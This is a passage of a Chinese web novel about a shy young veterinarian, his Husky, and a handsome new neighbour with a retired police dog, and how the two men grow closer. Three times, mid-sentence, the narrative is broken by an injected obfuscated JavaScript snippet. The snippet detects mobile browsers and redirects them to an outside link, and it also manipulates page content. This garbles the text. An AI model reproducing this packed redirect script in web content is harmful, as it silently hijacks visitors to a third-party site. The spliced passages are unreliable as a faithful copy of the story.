《社恐,但和混血邻居搞网恋》 1. 邻居 周末的动物医院总是会更忙一些。 陶诺从诊室出来,接了杯温水喝。 连续接待了三个门诊,跟陌生人说了将近两个小时的话,后背起了一层薄汗。 “陶医生,星米主人又来了。”前台的小盼过来通知他,压低声音道,“点名要你看。” “好。”陶诺心里叹了口气,“安排三诊室。” 靠墙休息了几分钟,陶诺走进消好毒的三诊室。 “陶医生,我家星米最近吃得很少,是不是牙齿有问题?”穿着时尚的漂亮女孩早已等在诊室,抱着一只和她同样高颜值的布偶猫。 陶诺把落地窗的罗马帘放下一半,挡住刺眼的日光,伸出手指轻柔地抚了抚主人怀里的猫下颌。这只叫星米的布偶猫舒服地眯起眼,发出咕噜的声音。 “星米,你好呀。”陶诺声音压得很低,语调温和平缓,“我们来看看牙……对,就是这样。” 说话间,他迅速用左手卡住猫头,右手拇指在猫下颌用巧力一掰,猫的口腔在他手里便轻巧打开了。 “怎么样?”星米主人盯着他好看的侧脸问。 陶诺没抬头,目光专注地停留在猫的口腔:“右侧臼齿有轻微牙结石,但应该不是影响进食的主要原因。” 片刻,他终于将视线从猫身上移开,转身在电脑上记录:“可能……换粮不适应?你这几天是不是换了主食罐?” 女孩惊讶地睁大眼睛:“你怎么知道?” “看它口腔黏膜的状态。”陶诺扶了扶超大的金边眼镜框,依然没回头,“数据指标没有问题,上周你来医院的时候提过一句,说它不喜欢现在的猫粮。新旧粮过渡期建议延长两周,另外,给它适当补充一点益生菌。” 陶诺说完这番话,微不可察地吐了一口气。虽然在自己专业范围内,但跟人交谈太久,总会让他大脑过载。 “好,我都听你的。”女孩眉开眼笑,“我就知道陶医生你最细心了。” 细心,当然是因为对着动物比对着人更容易。 陶诺起身去到洗手池搓洗双手,白大褂袖口卷起一截,露出清瘦的手腕。 身后的女孩还没走:“陶医生,星米以后还要多麻烦你。我能加你私人微信吗?以后有什么问题方便随时请教。” 线上是陶诺的安全区域,比在现实中跟人交谈容易,但这女孩明显不是真的想请教问题——连续两周,她抱着猫以各种毛病为由三天两头来医院,还指明要陶诺看诊。 女孩意图明显,陶诺也不迟钝,水流哗哗,他开始搓洗第二遍手。 “不太……方便。”陶诺抽纸将手擦干,“如果你需要咨询,我让小盼加你。医院的企业微信回复会比我更及时。” 女孩还想说什么,陶诺迅速走过去将诊室的门拉开:“小盼,后面还有需要我看诊的小可爱吗?” “有的,陶医生。”小盼配合回应。 陶诺点头安排:“星米主人麻烦你接待一下,她可能需要咨询一些常规的事。” 将星米和主人交给了小盼,陶诺回到诊室轻轻关上门,隔绝了外面的交谈声。 天色渐暗。 陶诺伸了伸腰,脱下白大褂挂在衣架上,对着镜子把立起来的呆毛按压平整。 毕业一年,镜子里的人脸庞还带着点未脱的学生气,眼睛因常年习惯性躲避直视而总显得有点下垂——林珊说这叫“狗狗眼”。为了不让自己显得稚嫩和不专业,上班时间陶诺会戴上一副金丝眼镜,即便这副眼镜跟他本人气质并不匹配。 此时他摘掉眼镜,揉了揉脸,小声自言自语:“今天表现很好,只是……” 只是每次和宠物主人解释病情的时间过长,还是会感到非常疲累。 “陶医生下班了?”小盼见他背包出来。 晚上医院有聚餐,陶诺借口家里祖宗没人管要拆家,躲了。 每次聚餐他都各种找理由,能不去就不去。没别的,单纯不习惯这种社交场合,让他受刑似的,坐立难安。 “嗯。”陶诺紧了紧背包带,“明天见。” “陶医生再见。”小盼笑眯眯地跟他告别。 陶诺出了医院后没几步就飞奔了起来。 和光动物医院这位年轻的陶医生,总是会被人误以为话少高冷。 小盼来医院时间也不长,就共事这段时间的观察,“话少”是他只谈病情相关,而“高冷”嘛,小盼望向眨眼就跑没了的背影,或许是因为总拒绝加人微信。 - 夕阳西沉,余晖洒向城市各个角落,小区里的梧桐树叶被照得透亮。 今天到家的时间晚了半小时,陶诺急匆匆按下电梯,担心家里那位祖宗闹情绪。 刚出电梯,果然听见从家里传出阵阵哀嚎,完了,这动静又该遭投诉了。 陶诺赶紧开门,险险露了个缝,一只哈士奇的狗脑袋就迫不及待地挤了出来。 “月饼,回去。”陶诺用腿卡住门缝,将兴奋的狗子往回顶,“让我进去换件衣服再出门。” 月饼才管不了那么多,只知道出门时间到了,不管不顾往外冲。 陶诺怕伤到它不敢用全力,一人一狗在门口对峙着互不相让。 陶诺跟狗子讨价还价:“我今天是回来晚了一点,晚上给你烤骨头饼干好不好?” 月饼仰天呜呜了两声,表示不够。 “再加半块鸡胸冻干,不能再多,你最近胖了不少。”陶诺抓住月饼后颈的皮肉,连拖带拽终于挤进去半个身子,“成交。” 陶诺进门放了背包,洗手擦脸换上连帽卫衣和运动裤,拿上狗绳和口套,一边换鞋一边松了门锁。 鞋还没穿上,月饼像是嗅到了什么,顶开门直直地窜了出去。 “月饼!”陶诺光脚就追了去。 门外不见傻狗的身影,对面1202的大门半开。 陶诺住的这栋楼是一梯两户,先前对门是一对老人,一个月前搬去了女儿家,物管说会有新住户搬进来。这两周陆续有搬家公司进进出出,想来是新邻居入住了。 陶诺敲了敲门框,从半开的门探头进去:“有人吗?” 屋里没动静,倒是一晃而过的狗子残影往卧室方向去了。 “月饼!”陶诺急恼,跨进了门。 房间户型和他住的是对称的,只是风格完全不一样。 深灰色调为主,黑白家具都是全新,摆件别致,陈设规整,能看出屋子主人品味不错。就是显得清冷,陶诺心里默默点评,还是觉得自己乱乱的暖窝温馨。 陶诺往里走了几步,餐边柜旁连着半壁空荡荡的书架,地上堆叠的几个大纸箱露出还没拿出来的书籍。 看来主人很喜欢看书。 吧台上半杯冒着热气的黑咖啡,笔记本电脑打开着,挂着一个水墨风格的论坛,页面上是一首《静夜思》。 陶诺吞咽了一下,提高音量:“打扰了,请问有人在吗?” 喊了两声依然没得到回应,陶诺硬着头皮往卧室去抓狗,客厅紧闭的阳台玻璃门上忽然映出一道人影。 那人很高大,穿了一件浅灰色衬衫,袖子挽至肘部,露出结实的小臂,面朝外正在接电话,应该是过于投入,没听见屋里的动静。 主人在,不能再贸然乱走。 陶诺靠近,敲了敲玻璃门推开:“对不起,我家狗……” 男人听见动静回头,一张英俊的面孔撞进了陶诺视野。他指了指贴在耳边的手机,示意稍等。 陶诺抿唇,乖巧地往后退了两步,等着男人接完电话。 心跳有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497942|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快。 陶诺情不自禁屏住呼吸,抬眼偷偷打量对方。 男人侧着身子,衬衫贴合着鼓起的胸肌,一路往下束进匀称劲瘦的腰间,长腿裹在笔直的西裤里,臀部微隆的线条幅度饱满有力…… “不好意思,”男人猛然回头拉开了门,“久等了。” 陶诺心虚,眼神啪的滑到地上,脸一路红到了脖子根,头垂得低低的:“我家狗……狗跑、跑进来……” 话还没说清楚,“汪呜”一声狗吠,月饼跟安了加速器似的窜了出来,在两人都没反应过来的时候往男人扑了过去。 月饼从没攻击过人,陶诺吓出一身冷汗,动作比脑子快,也跟着扑了上去。 到底是慢了,月饼前爪已经搭在了男人身上,兴奋得尾巴甩成了螺旋桨。 陶诺:……! 脚下已然刹不住,惯性撞了过去。男人原本稳稳站着,反倒被陶诺猝不及防冲撞地硬生生倒退了两步,同时伸手扶住了陶诺的手臂。 月饼在两人中间变成了夹心狗饼。 不过就几秒的时间,或许更短,陶诺却清晰地感受到了。 扶他的手很大很有力,轻轻松松就将他手臂抓握在了掌心;掌心温热,隔着卫衣的布料也能感觉到那股热度。 身后又传来一连串低沉的狗吠,跟月饼完全不同的沉闷低吼,是大型犬的警告声。 “凯撒,静!”男人发出口令,身后安静了。 陶诺狼狈又尴尬地把趴在人身上不下来的月饼拖开:“抱歉,你门……门没关,它跑进来,我来……来找狗。” 陶诺死死抱住兴奋的月饼:“对、对不起,平时它不这样的。” 男人弯腰,轻轻摸了摸月饼的狗头:“它好像喜欢我。” 厚实的胸肌近在眼前,一股干净的淡淡清香味若有似无地从鼻尖拂过,陶诺不敢动,大脑嗡嗡作响,脸上的血液又开始沸腾,视线僵硬地落到对方裤腿。 “凯撒,来。”男人起身,压迫感骤然消逝。 威风凛凛的德牧走到了男人脚边,端正优雅地蹲下,竖着耳朵偏头看着月饼和陶诺,似在思考眼前的一切,跟一旁张嘴吐着舌头的月饼对比鲜明。 没眼看,陶诺默默捏住月饼狗嘴。 “我叫费远洲,‘远行’的远,‘在河之洲’的洲。”费远洲自我介绍,“这是德牧凯撒,我们今天刚搬过来。” “我、我叫陶诺,住1201。”陶诺用尽毕生力气控制住月饼,还没开始遛狗已经感觉力竭,“它叫、叫……” “月饼,”费远洲主动喊道,“你很热情。” 月饼听见自己的名字,摇着尾巴吚呜着回应了两声。 陶诺吃惊抬头:“你怎么知道它……它的名字?” 屋内的灯光从头顶倾泻而下,将费远洲的五官勾勒得极为深刻。 他眉骨很高,鼻梁像山脊般陡直,下颌线干净得近乎锋利。最让人无法忽略的是那双眼睛,灰蓝色泽,让陶诺想起了冬日结冰的湖面…… 咯吱,咔啦—— 湖面将他的心脏挤压,冰裂…… 陶诺耳朵发烫,匆匆一眼迅速低头。 费远洲抿了抿唇:“搬东西,门一直没关。” 之前陶诺忙着安抚月饼,根本没关注对门,他声音那么大,费远洲自然能听见。 陶诺尴尬得要死,手忙脚乱的将狗绳套上:“抱、抱歉,吵到你了。” “没关系,我也养狗,难免。”费远洲视线落在他头顶,饶有兴趣地打量着一人一狗。 陶诺被盯得脖颈发烫:“对不起,打扰了。”拽着月饼从人家里逃了出去。 费远洲看他赤脚慌里慌张将狗拖走,浅啜了口未凉的黑咖啡,垂手在端坐的德牧脑袋上挠了挠,弯了唇角。 2. 遛狗 晚上,陶诺穿着印满卡通小动物图案的浅蓝棉质家居服,脚上趿着猫爪形状的软底薄拖鞋,将鸡胸肉、蔬菜和蛋黄打成泥搅拌。 陶诺不擅长做饭,但对西式糕点和自制宠物零食一类颇有研究。 他哼着不知名小调,把拌匀的肉糊填入骨头形状的模具,再把烤盘放进烤箱,调好时间和温度。 月饼知道是在给自己弄吃的,黏在脚边蹭陶诺裤腿。 陶诺蹲下抓住一对狗耳朵,严肃训斥:“做狗狗要有耐心。” 月饼不懂,急吼吼地要从他手里挣脱,陶诺拍它狗头,想起德牧端庄的模样,再看自家毫无家教的狗子,轻轻叹了口气。 手指轻捏月饼松软的脸皮往两边扯了扯:“饼不教,诺之过。” 手机响,陶诺回到客厅,来电显示是林珊。 陶诺抓起沙发上的抱枕,滑开电话。 “忙什么呢?”林珊轻快的笑声传了过来。 “给月饼烤饼干。”陶诺在沙发躺下。 “就知道你在家,除了上班大门不出二门不迈的,陶诺诺,你这样不行。” 林珊跟陶诺是发小,小学开学第一天林珊被同学恶作剧堵在厕所出不来,陶诺看见后跑去告诉老师把她“解救”了,从此两人就结下了不解的义气之缘,兜兜转转关系竟是难得的保持到现在。 “哪有,遛月饼得出门。” “得了吧。周末我开单身Party,过来选帅哥。”林珊知道陶诺的属性,直言不讳。 “不去。”陶诺兴致缺缺。 “就算是我多管闲事。”林珊本着自己幸福不能让朋友孤寡,铁了心要给陶诺脱单,“你就来看一眼,有看上的我介绍你们认识。” “咱俩审美不一样。” “你还嫌弃上了,那你给我个标准,我照着在朋友圈给你薅。” 陶诺望着天花板,脑子里逐渐浮现出一个轮廓,对着话筒不自觉就描述了出来。 “身高得有190往上吧,高大英俊有胸肌。五官立体,鼻梁高高的,眼睛灰色偏蓝。性格……不清楚,但应该是喜欢小动物……” “陶诺诺,你在流口水吧,说什么梦话呢。”林珊忍不住打断道,“该死的颜控,最近又看什么电影了,这是哪国明星?” 陶诺被说得下意识擦了下嘴角:“邻居。” 林珊瞬间嗅到了八卦气息:“你邻居长这样?” 陶诺说漏嘴,找补道:“没有,不是。” 林珊不听否定:“我不信,我要来看看。” “不行。” “陶诺诺,你不对劲哦。” 陶诺心虚全挂在脸上,幸好林珊看不到,他干脆实话实说:“他今天刚搬过来,我们还不熟。” “大家都是从不熟到熟的,要不周末你带他来Party,我给你邀请函,正式一点,你找机会给他。”林珊脑子转得快,“对了,他是外国人吗?我用英文还是中文?” “林珊珊,你不是单身办什么单身Party,”陶诺没顺着林珊的话,抢回了主动权,“程令知道吗?” 程令是林珊男朋友。 林珊在对面得意一笑:“姐们我国庆要结婚了。” 陶诺以为听错:“和谁?” “当然是程令啊。” 陶诺难以置信:“你俩才谈了三个月。” “时间长短不重要,重要的是人。”林珊又开始替他着急,“陶诺诺,你也抓紧啊,喜欢就抓住,错过就没了。就你这个邻居,近水楼台,大好的机会可别放过。” 话题又转了回来。 林珊还想继续,只是陶诺自己对费远洲都知之甚少,套不出内容。 挂电话前,林珊再次提醒陶诺邀请邻居。 邀请是不可能的,多冒昧啊。 才刚认识,人和狗就都往对方身上扑,丢人不说还无礼,给人留的第一印象简直糟糕透顶。而且他一靠近费远洲就紧张,话都说不利索。 陶诺颓丧地瘫在沙发上。 “呜,汪——” 月饼的狗头支棱在他腿上。 “都怪你,”陶诺点着月饼的额头,“害我丢人,现在罚你把饼干分一半给人家。” 月饼单边眉头抬了一下,大约是听懂了,任凭处置地吚呜了一声。 烤箱“叮”的一声响。 陶诺将饼干拿出来,拣出烤过了头和不好看的,剩下的晾凉后找了个透明密封罐,分了一大半装进去。 又从书桌找了张空白纸,托腮咬着水笔盖思索了大半天,迟迟下不了笔。好像写什么都很刻意,不写吧,他又怕对方不知道是谁送的。 正想着,厨房突然“砰嘭——哐当——”连串巨响。 “月饼!”陶诺心道糟糕。 傻狗闻着满屋香,却迟迟没等到吃的,爪子搭上岛台,把烤盘给撞了下来,饼干撒了一地,连带没收拾的餐具叮铃哐啷响个不停。 陶诺闭眼做深呼吸,默念了三遍“饼不教,诺之过”,最后一个不锈钢盆滚了两圈终于停下。 得亏楼下没人住,就月饼三天两头的捣乱劲头,不知要上门给人赔礼道歉多少次。 月饼跟吸尘器似的,已将一地的饼干暴风吸入,地砖上留下斑驳的涎水。 幸好给邻居准备的提前装好了,免遭毒嘴。 陶诺叹了口气,把月饼赶出了厨房,收拾一地狼藉。 弄干净了地板,一回头,月饼蹲在门口隔着玻璃眼巴巴地望着他,视线一对上陶诺,尾巴立马左右摇晃。 陶诺打开门,月饼低呜着蹭他腿,像个委屈的孩子,搞不明白为什么会被关在门外。 陶诺心一软,蹲下身抱了抱它。 夜深人静,门外走廊黑漆漆一片。 陶诺在门后轻咳一声,声控灯亮起,猫眼望出去对面房门紧闭。 陶诺轻手轻脚地开门出去,弓着腰做贼一样,将饼干挂在了1202的门把手上,迅速返回。 背靠门屏息静气,心口狂跳。 又从猫眼望了一眼,手提袋静静地挂在对面门上。 片刻,走廊重新沉入黑暗。 - 第二天清晨,天边刚撕开一丝光亮,陶诺就被月饼湿漉漉的鼻子拱醒了。 摸到手机虚眼一看,五点五十五分,真是分秒不差。 陶诺揉眼,昨晚熬夜看了一例罕见的猫科动物皮肤病,此刻脸上的疲惫藏都藏不住。 月饼可不给他赖床的机会,扒开了窗帘,两只前爪搭在床沿,呜呜着“快带饼饼遛弯”。 “知道了,别吵。”陶诺认命地下床,草草地洗漱了一下。 先前隔壁那对老人对声音极为敏感,一点点声响就会上门告诫陶诺管束好月饼。陶诺尽力了,选择清晨六点遛狗也是他和月饼平衡妥协的结果:一是能安抚月饼大清早的吵闹,二是这个时段的小区人最少。 给月饼套牵引绳时,陶诺下意识瞥了一眼门口。心里莫名地紧张,又隐约期待,深吸一口气,轻轻拧开了门。 走廊空无一人,对面大门紧闭,门把上什么也没有。 陶诺松了口气的同时隐隐失落,牵着月饼走进电梯。反光的厢壁映出他的身影,依旧是简单的浅灰色卫衣和运动裤,头发有点乱,眼睛有点肿,整个人没什么精气神。 陶诺下意识抓起衣服兜帽将脑袋罩住。 手顿住,真是够了,到底在期待什么,谁会跟他一样在这个时间段遛狗。陶诺有点气恼自己,扯掉了兜帽。 遛狗是个体力活,尤其是像月饼这种精力旺盛的哈士奇。 小区有一块超大的空地,他出门早,这会儿没人,于是解了月饼的绳扣。等月饼自己玩了一会儿之后,他将球丢了出去。 看到投球,月饼兴奋得不行,追着球跑成了残影。不多会儿甩着尾巴回来了,围着陶诺转圈圈,要他再来一次。 这狗就这样,学不会捡球,只会追球。 陶诺习以为常,淡定地从兜里又摸出一颗投球,蓄力丢出去。 月饼汪一声,又跑得没了影。 来回重复好几次,最后这次陶诺等了两分钟没见到月饼回来,喊着名字找过去。 没走两步,一个高大熟悉的身影出现在另一侧的岔路上。 费远洲穿着深蓝色的运动套装,身材比例依然完美,相比昨天显得亲和随性了不少,脚边跟着昂首挺胸的凯撒,人和狗的步调一致稳健。 好帅。 应该迎上去打招呼吗? 陶诺呆立在原地,迈不动腿。 “呜汪!”月饼从被挡的视线里窜了出来,摇着尾巴朝凯撒奔了过去。 “月饼,回来。”担心昨天情况重演,陶诺声音都变了调。 月饼这回没扑人,只兴奋地在凯撒身边来回跑,看一眼陶诺,又看一眼费远洲。 “早,陶诺。”费远洲看见他先开了口,音色低沉,很是好听。 “早、早上好……费、费先生。”陶诺感觉脸颊又开始发烫,舌头打结。 费远洲的目光落在他脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶诺“嗯”了一声,关注到两只狗的互动:“凯撒真听话。” “凯撒是退役警犬。”费远洲解开绳扣,“去。” 凯撒起身,小跑了出去。 月饼想追着凯撒一起玩,被绳拽了回来。 “让他们一起熟悉一下挺好,以后会经常见的。”费远洲建议。 陶诺机械地解开绳扣,脑子里盘旋着“以后会经常见”这句话。 月饼箭一样射了出去,眨眼就超过了凯撒,跑出去一段距离后又回到凯撒身旁,然后又往前,再回头。如此反复,像在等待新伙伴跟上。 陶诺看出了不对劲。 “凯撒……”陶诺斟酌了下,问得小心翼翼,“腿上有伤?” “你能看出来?”费远洲望向远处。 凯撒正常走路不明显,跑起来的时候后腿略微有一点迟缓,不了解狗不仔细观察根本发现不了。 “是关节问题还是韧带损伤?退役工作犬里很常见,通过适当康复训练可以减缓恶化,类似案例有很多。如果你有时间的话可以……”说到专业领域,陶诺立刻侃侃而谈,话到一半忽地意识到可能说太多,声音戛然而止。 “可以什么?”费远洲专注地看着他,极有耐心的等待下文。 “可以……带凯撒来我们医院,我可以替、替它做个全面的检、检查。”陶诺憋出最后的话,“我在和光动物医院上班,就在这附近。” “好的,谢谢陶医生。”费远洲语含笑意。 “不好意思,我话多了。”陶诺声音渐小。 “不会,非常有用。”费远洲语气真诚,“我正需要专业人士的建议。” 获得了肯定,陶诺不自在地摸着耳朵:“差不多我、先回去了。”朝着远处,“月饼,走了。” 陶诺捡起散落的小球,追过去给月饼扣上牵引绳。月饼不情愿地“呜呜”着,一步三回头地走了。 走出了很远,陶诺才敢回头。 晨光中,费远洲还站在原地,正低头对凯撒说着什么。然后他抬起头,目光准确地捕捉到陶诺回望的视线。 费远洲抬起手挥了挥。 陶诺一怔,像做坏事被抓了现行,立刻转回头,拉着月饼跑没了影。 直到拐进了楼栋大厅,彻底看不见了那个身影,陶诺才靠在墙上抚着心口大喘了一口气。 3. 微信 费远洲并不是第一次听说和光动物医院。 租房前,费远洲曾开车关注过周边环境。他做事向来有规划,又带着有旧疾的凯撒,小区附近有动物医院是他考虑租房的条件之一。 第一次见陶诺,就是那次从医院附近经过。 医院门口的马路边有一道过街天桥,行人在桥上步履匆匆,车辆从底下穿梭繁忙,无人注意到天桥底下有个哭得双眼通红的人影。 陶诺抱着纸巾盒躲在角落,大概是哭够了,抬头叹气的间隙,落入了看向车窗外的费远洲眼里。 不过是匆匆一眼,车便已驶离,等费远洲再看向后视镜时,陶诺正扯着自己脸颊努力把嘴角往上抬。 费远洲紧绷的面皮不觉动了动,有意思。 隔了几天,和中介约好看房。 小区的绿化极好,巨大的梧桐树冠遮天蔽日,林荫小径洒下点点金黄,一块超大的空地草坪上有人带着狗在玩飞盘。 一梯两户不会拥挤,只是在室内面积上费远洲略嫌小了些。 中介察言观色:“旁边还有一个大平层的户型,我带你过去看看?” 中介带他走近道,穿过枝繁叶茂的绿化带,一道人影背对着蹲在隐蔽的墙角。 “乖,别动,马上就好。”细碎又温柔的声音从角落传来,“打不过还不知道跑,非得上去挨揍。” 隔着两道栅栏,葱茏的灌木间隐约可见那人怀里抱着一只白猫,脚边的铁盒里放有棉花、纱块,一瓶透明液体等等物品。 “嘶,好了好了。”大概是被猫挠了一爪子,那人甩了甩手,把猫放回了地上,打开一个罐头推到白猫面前,“吃吧。” 白猫试探地嗅了嗅,大口吞咽。 那人拿起那瓶液体喷到手上,“嘶呼”了几声。 费远洲停了脚步,从侧面认出是那日在天桥下的年轻人。 中介也认出了陶诺,正要挥手招呼,被费远洲阻拦了下来。 “你认识?” “巧了不是,你刚刚看的那套房子是1202,他正好住对面的1201,当初也是我带他看的房,一个人带了只狗。” 费远洲再次望向那背影,蓬松的头发上挂着碎叶,牛仔裤脚沾着泥土。墙角那个位置没有路,看样子应该是从灌木林里钻进去的。 “喜欢这个口味?那下次再给你带。”陶诺轻柔地抚摸着白猫的头,小心地避开它受伤的后颈,对身后打量他的人无知无觉。 “不用再看了。”费远洲对中介道,“就刚才那套房子,拟租房合同吧。” - “先生有预约吗?”小盼笑盈盈地接待着有史以来遇见的这位最帅宠物主人。 “没有。”费远洲一扫墙上挂着的医师介绍,“陶诺医生在吗?” “陶医生正在手术,得等一会儿。我们张院长在,需要我给你安排吗?”小盼看着他脚边的德牧,热切推荐。 “不用。”费远洲目光定定地落在戴金丝眼镜框的头像上,“我找陶医生。” 小盼带费远洲去等候区:“先生来过我们医院吗?没有的话可以先建档。” 费远洲点头同意。 小盼拿来资料卡:“填好以后我们会录入电脑。” 费远洲接过在沙发坐下,凯撒安静地蹲在旁边。 小盼见过的狗也不少了,还是忍不住感叹道:“这狗真听话,真帅气!”视线打量到同样帅气的主人脸上,“它叫什么名字?” “凯撒。”费远洲对这样的打量习以为常,礼貌回避,“我填好了叫你。” 小盼回到接待前台,和另一名年轻小护士低头窃窃,时不时朝费远洲的方向望一眼,脸上按捺不住好奇和压不下的嘴角。 费远洲尽收眼里,不动声色地观察这间医院布局。 从挂牌的坐诊医生可以看出医院规模并不大,一位院长、三名执业医生。 分区也一目了然:左边三个诊室,右边隔离出开放住院区和封闭住院室,旁边是检验室和药品配发区,手术室在…… 费远洲视线起落,锁定到诊室走廊尽头亮起的“手术中”灯牌。 - 陶诺给一只猫做完绝育手术,口罩单边挂在耳朵上,绿色手术衣衬得脸色雪白。 这已经是今天的第三台绝育手术,应对游刃有余,只是专注久了难免疲乏。 “快,小盼,给我倒杯……”他举着双手从手术室出来,视线和费远洲对上,“……费、费先生?!” 费远洲起身微微笑了笑,饮水机就在他旁边,顺手取了一次性杯子兑了温水走过去。 “陶医生,这位先生是找你的,等了好一会儿了。”小盼打开消好毒的一间诊室。 陶诺手套未摘,举着手发愣。 费远洲将杯子碰到他软软的唇边,陶诺才慌忙回过神,脱了手套接水杯:“谢谢。” 一口水呛了出来,脸咳得通红。 费远洲抽纸递给他:“不要紧吧?” “没、没事。”陶诺抓过纸巾,埋头钻进旁边的诊室关上了门。 两秒后冒出颗脑袋:“等我两分钟……一分钟!” 费远洲牵动嘴角:“不急。” 陶诺万没料到早上才提起的建议,费远洲当天就带凯撒来了医院。 他迅速换下手术服,对着镜子抓了抓头发,搓揉脸颊放松僵硬的表情,调整好呼吸,重新拉开了诊室门。 “费先生,请进。”眼神不敢在费远洲脸上多停留,滑落到凯撒身上,“Hi,凯撒,今天也是一样帅气哦。” 费远洲低低笑了声。 “坐。”陶诺面颊发热,提了提气,想把注意力集中到专业上,“是要给凯撒做个检查吗?” “不是。”费远洲嗓音抓人,“特意过来看看你。” 这话说得陶诺心猿意马,他干脆蹲下身抚摸凯撒。 费远洲视线盘旋在他头顶,静默了片刻。 陶诺有点扛不住了,没话找话:“凯撒问题不大,你别担心。” “嗯,我不担心。” 陶诺咳了一声,坐回位置上,不自然地想去扶眼镜框,手落了空,这才发现压根没戴他那副“职业面具”。 “我这次只是先带凯撒过来熟悉一下医院,下次检查提前跟你约。”费远洲站起身,“就不打扰你了。” 陶诺送他们到门口,费远洲停了下来。 “对了,顺便问问,医院有提供寄养或者上.门服务吗?我经常出差,如果后期凯撒需要长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497944|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期的日常康复训练,我可能需要临时找人帮忙。” “可以的,”陶诺应承下来,“你直接找我就好,我来安排。” “多谢陶医生。”带着凯撒离开前,费远洲又补充了一句,“我的联系方式录入你们系统了。” 小盼从前台窜出来站到陶诺旁边,伸长脖子一同目送了费远洲的背影:“陶医生,我们医院什么时候开通了上.门服务?” 当然没有上.门服务,只是就住对门,陶诺认为这个举手之劳他可以帮忙。 “我看下资料。” 小盼调出了刚刚录入的档案。 宠物昵称:凯撒 类别:德国牧羊犬(雄) 年龄:三岁零7个月 主人姓名:费远洲 联系电话:185xxxx 陶诺拿出手机,在添加好友搜到微信,拇指在“发送申请”上悬停了一会儿,最终落下。 小盼在一旁看完了陶诺的全程操作:“陶医生,你跟他认识哦?” “我们住一个小区。”陶诺盯着手机屏幕。 “他好帅呀,好高好有型,先前牵着德牧走进来的时候,简直像在拍电影。”小盼说得夸张,但也是事实,“陶医生,费先生是混血吗?中文很好呢,字写得也不错,比我写得好。” 混血?有可能。 陶诺从没问过,每次见到费远洲,总是会不自觉地紧张,哪里还顾得上其他。 如果是在线上,陶诺看着发出的好友申请,脑中整理出了一长串话题。 “陶医生,你在紧张吗?”小盼问。 “我为什么紧张?” “不知道,你盯着手机很久了。没记错的话,这还是你第一次加宠物主人的微信。” 陶诺将手机放进衣服口袋,觑她一眼:“下一个预约的客户什么时候到?诊室准备好了么?消毒做好了?” 小盼吐了吐舌头,转身溜了。 兜里的手机震动,麻了手指尖。陶诺四下环顾,大家都在各忙各的。 他捏紧手机信步走进无人的茶水间,虚掩上房门,迅速冲了杯速溶咖啡喝了一大口,这才拿出手机看。 费远洲通过了他的好友申请。 陶诺点开聊天界面,深呼吸,这是线上,谁也看不见谁,主动说点什么。 陶诺打字:【费先生你好,我是陶诺】 多此一举,申请信息时就说了,费远洲当然知道是自己。 删掉,重新打字:【费先生,你到家了吗】 不太妥,像在监视别人的行动。 再删掉,再打字:【费先生,你什么时候……】 手机一震,一条新信息出现在聊天框里。 Ansel:【陶医生,明天下午三点你有空吗,我带凯撒过来做检查】 陶诺赶紧删掉没打完的字回复:【有的,三点以后都可以】 Ansel:【明天医院见】 这就约定了。 陶诺迟疑半天不知道再说什么好,最后选了个“好哒”的可爱表情包发了过去。 之后费远洲没再回复,聊天框再次陷入沉寂。 陶诺的手指无所安放地在手机上戳戳点点,最后挫败地摁熄了屏幕。 4. 网友 深夜,费远洲正在沙发上看电子报告,隔壁忽然传来一阵巨响。 脚边的凯撒警觉地直起身子,耳朵竖起老高。 接连不断的像是什么东西撞墙,夹杂着一两声“别跑”以及月饼的惨叫。 整个过程持续了大概十来分钟,最后阳台门“咚”的一声响,安静了。 费远洲放下笔记本电脑,踱步到了阳台。 两家的阳台并不连通,但露台空间够大,往外一点是能看到对面情况的。 陶诺家的阳台门大开着,客厅灯火通明,只闻声不见人。 “……不是……没打架……是月饼……面粉……,全屋都是……吸尘器坏了……没哭……阿嚏……鼻子痒……” 断断续续听不清,似乎在跟谁讲电话。 最后这一句“鼻子痒”带着明显的瓮声,但又为了表明没哭说得异常大声。 费远洲不觉笑了一下。 凯撒跟到了阳台抬头望着他,像在探究他因何发笑。 隔壁,陶诺肩膀夹着手机夹得脖子疼,干脆放下来打开免提。 “陶诺诺,你真的没事?”林珊听他声音不对劲。 “没事。”陶诺用手蹭了下鼻子,“你又不是不知道月饼,跟多动症似的,一个不留神就搞破坏。” “那就好,我还以为你父母还是医院又出了什么事。”林珊稍微放下心来,“本来想把邀请函寄给你的,那我还是过来一趟吧。明天下午三四点,我给你送过来,顺道看看你,你在医院还是在家?” “不用,我真不去。而且我明天忙,有事。” “我是在给你们制造机会,就你这性子,不找个机会怎么主动?” “我已经加上他微信了。”陶诺小得意。 “真的假的?”能让一个社恐主动可不简单,林珊追问,“情况如何,问了吗?” “问什么?” 林珊简直要急死:“基本情况啊,是不是单身,性向,哪国人?” 陶诺刚燃起的一点自信又熄灭了,低落道:“可是我一想到他知道是我,我就有点不敢跟他聊。” 陶诺把今天的情况给林珊简略地讲了一遍。 